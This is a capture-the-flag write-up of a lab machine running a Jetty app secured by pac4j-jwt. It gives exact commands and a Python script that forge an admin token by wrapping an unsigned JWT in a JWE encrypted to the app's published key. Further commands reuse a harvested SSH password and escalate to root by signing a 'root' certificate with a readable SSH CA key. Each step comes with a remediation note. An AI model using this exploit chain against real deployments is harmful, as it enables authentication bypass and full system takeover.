Principal
Summary
I mapped a Java/Jetty deployment platform secured by pac4j-jwt and found that its JWE token handling decrypted the outer envelope but never verified the signature of the JSON Web Token nested inside it. By wrapping a self-issued, unsigned JWT (claiming an administrator role) inside a JWE encrypted to the application's own published public key, I forged a token the app accepted as authentic. That token unlocked an internal/admin view that stored a deployment account's SSH password, giving a direct SSH foothold as svc-deploy and the user flag.
On the host, svc-deploy had no usable sudo rights, but was able to read the private key of the SSH Certificate Authority the server trusts. Because the host's sshd was configured to trust any certificate the CA signs without restricting which principal (username) it may claim, I used the stolen CA key to mint a fresh certificate asserting the principal 'root', authenticated to sshd as root with it, and captured the root flag — full compromise from a single crypto trust-boundary flaw exploited twice.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <an-authenticated-admin-route>, <the-forged-token> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP port sweep with service/version detection.
$ nmap -p- -sV -T4 $TARGET
22/tcp open ssh
8080/tcp open http-proxy JettyConfirm redirect to /login and read the pac4j-jwt header.
$ curl -ksS -L --max-time 15 --max-redirs 5 -D - -w '\nPTEST_HTTP %{http_code} %{url_effective}\n' http://$TARGET:8080/Exact commands 3
Fetch the login page/form.
$ curl -sS -i http://$TARGET:8080/loginPull the client bundle documenting the JWE auth flow.
$ curl -sS http://$TARGET:8080/static/js/app.jsFetch the app's published JWK(S) used to encrypt/verify tokens.
$ curl -sS http://$TARGET:8080/api/auth/jwksExact commands 2
Library used to build the JWE envelope.
$ pip install jwcryptoSave the key from /api/auth/jwks as jwks_key.json first; prints the forged JWE bearer token.
$ python3 - <<'EOF'
import base64, json
from jwcrypto import jwk, jwe
# 1) unsigned inner JWT (alg=none) with an elevated claim
h = base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=')
p = base64.urlsafe_b64encode(json.dumps({"sub":"admin","role":"ADMIN"}).encode()).rstrip(b'=')
inner_jwt = (h + b'.' + p + b'.').decode()
# 2) wrap it in a JWE encrypted to the app's own published public key
pubkey = jwk.JWK.from_json(open('jwks_key.json').read())
token = jwe.JWE(inner_jwt.encode('utf-8'),
protected=json.dumps({"alg":"RSA-OAEP-256","enc":"A128GCM","cty":"JWT"}))
token.add_recipient(pubkey)
print(token.serialize(compact=True))
EOFFixFix pac4j-jwt to verify the signature of the JWT nested inside a JWECritical
Exact commands 1
The forged token is accepted on the application's authenticated routes; walk them for the internal view that renders stored credentials.
$ curl -sS -H 'Authorization: Bearer <the-forged-token>' http://$TARGET:8080/<an-authenticated-admin-route>FixStop storing plaintext operational credentials in an application-accessible viewHigh
Exact commands 2
Confirm the harvested credential works.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 svc-deploy@$TARGET id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)Locate and read the user flag; replace output with <user.txt>.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'find / -name user.txt -type f -readable -exec sh -c "printf \"%s: \" \"\$1\"; cat \"\$1\"" sh {} \; 2>/dev/null'Exact commands 3
Confirm no passwordless sudo.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'sudo -n -l 2>&1'Confirm the CA trust configuration and absence of principal restrictions.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'grep -RniE "TrustedUserCAKeys|AuthorizedPrincipalsFile|PermitRootLogin" /etc/ssh/sshd_config /etc/ssh/sshd_config.d 2>/dev/null'Locate the readable CA private key file.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'find /opt/principal/ssh -maxdepth 3 -type f -readable -printf "%M %u:%g %p\n"'Exact commands 2
Generate a keypair on the target and sign it with the CA key as a certificate claiming the principal 'root'. -L prints it back so the principal and validity can be checked before it is used.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'D=$(mktemp -d /tmp/principal-root.XXXXXX); ssh-keygen -q -t ed25519 -f "$D/k" -N ""; ssh-keygen -q -s /opt/principal/ssh/ca -I root-cert -n root -V +52w "$D/k.pub"; ssh-keygen -L -f "$D/k-cert.pub"'The same remote shell has to mint the certificate and use it: a second ssh invocation is a new shell, where the temporary directory that holds the key does not exist. Authenticate to sshd as root over loopback and read the flag -> <root.txt>
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'D=$(mktemp -d /tmp/principal-root.XXXXXX); ssh-keygen -q -t ed25519 -f "$D/k" -N ""; ssh-keygen -q -s /opt/principal/ssh/ca -I root-cert -n root -V +52w "$D/k.pub"; ssh -i "$D/k" -o CertificateFile="$D/k-cert.pub" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@127.0.0.1 "id; cat /root/root.txt"'
uid=0(root)FixLock down the SSH Certificate Authority key and constrain which principals it may signCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 8080/tcp | http-proxy Jetty |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.